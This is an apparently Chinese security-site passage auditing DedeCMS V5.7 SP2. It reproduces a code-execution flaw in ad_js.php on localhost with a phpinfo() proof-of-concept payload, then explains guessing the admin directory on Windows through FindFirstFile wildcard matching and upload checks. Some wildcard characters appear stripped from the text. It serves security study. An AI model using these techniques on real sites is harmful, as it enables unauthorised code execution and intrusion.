欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

代码审计入门级DedecmsV5.7 SP2分析复现

来源:本站整理 作者:佚名 时间:2018-08-26 TAG: 我要投稿
    $adbody = "{$adbody}");rn-->rn";
    $fp = fopen($cacheFile, 'w');
    fwrite($fp, $adbody);
    fclose($fp);
}
include $cacheFile;
摘出关键语句:
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
要求$nocache存在,又可以利用前面的全局变量注册
往下走Getone()函数进行sql查询,返回一个结果集。
而后把取到的值和当前的时间点对比作为判断条件,决定取表中的normbody还是exbody赋值给$adbody。
接着就比较明朗了..将$adbody写入文件,而文件名我们抓包应该就可以知道。
但是这里我只看了这一个文件,现在整理一下思路:1、给出一个$aid进行sql查询2、根据查询值判断写文件,且文件内容可控,目录已知3、最后把写入的文件包含进来。
那么,我们这个$aid从何处传入数据库呢?随着这个思路追踪文件到:/dede/ad_add.php
一个编辑页面,抓包看一下键值对应,顺便瞅一眼mysql载入的数据

看到这里知道,清楚exbody和normbody对应的都是什么了
依据代码$row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");查看dede__myad这个库插入的内容:

看到timeset=0,回溯代码,那么直接是取$adbody = $row['normbody'];这段执行。其实timeset何时都为0,浏览ad_add.php代码部分看到,存入数据库的timeset值就为0,语句如下,$timeset定义为0
 $query = "
     INSERT INTO #@__myad(clsid,typeid,tagname,adname,timeset,starttime,endtime,normbody,expbody)
     VALUES('$clsid','$typeid','$tagname','$adname','$timeset','$starttime','$endtime','$normbody','$expbody');
ok 要读懂流程,才能开始复现
复现
我们之前已经保存过一个页面了,直接poke一下http://localhost/dedecms/uploads/plus/ad_js.php?aid=1看看

查看写入文件:http://localhost/dedecms/uploads/data/cache/myad-1.htm注意拼接变量名

htm文件成功写入,我们回到Ad_js来执行一下任意代码。不要忘记闭合前面的document文档注释语句payload:
hpdoger=echo '-->'; phpinfo();

 
winapi查找后台目录
利用条件
1、win系统下搭建的网站2、网站后台目录存在/images/adminico.gif
基础知识
windows环境下查找文件基于Windows FindFirstFile的winapi函数,该函数到一个文件夹(包括子文件夹) 去搜索指定文件。
利用方法很简单,我们只要将文件名不可知部分之后的字符用“”代替即可,不过要注意的一点是,只使用一个“”则只能代表一个字符,如果文件名是12345或者更长,这时候请求“1”都是访问不到文件的,需要“1
审计
核心文件:common.inc.php
if($_FILES)
{
    require_once(DEDEINC.'/uploadsafe.inc.php');
}
追踪uploadsafe.inc.php
if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
{
    exit('Request var not allow for uploadsafe!');
}
$$_key = $_FILES[$_key]['tmp_name']; //获取temp_name
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z./]#i', '', $_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
if(!empty(${$_key.'_name'}) && (preg_match("#.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#.#", ${$_key.'_name'})) )
{
    if(!defined('DEDEADMIN'))
    {
        exit('Not Admin Upload filetype not allow !');
    }
}
if(empty(${$_key.'_size'}))
{
    ${$_key.'_size'} = @filesize($$_key);
}
$imtypes = array
(
    "image/pjpeg", "image/jpeg", "image/gif", "image/png",
    "image/xpng", "image/wbmp", "image/bmp"
);
if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
    $image_dd = @getimagesize($$_key);
    //问题就在这里,获取文件的size,获取不到说明不是图片或者图片不存在,不存就exit upload.... ,利用这个逻辑猜目录的前提是目录内有图片格式的文件。
    if (!is_array($image_dd))
    {
        exit('Upload filetype not allow !');

上一页  [1] [2] [3] [4]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载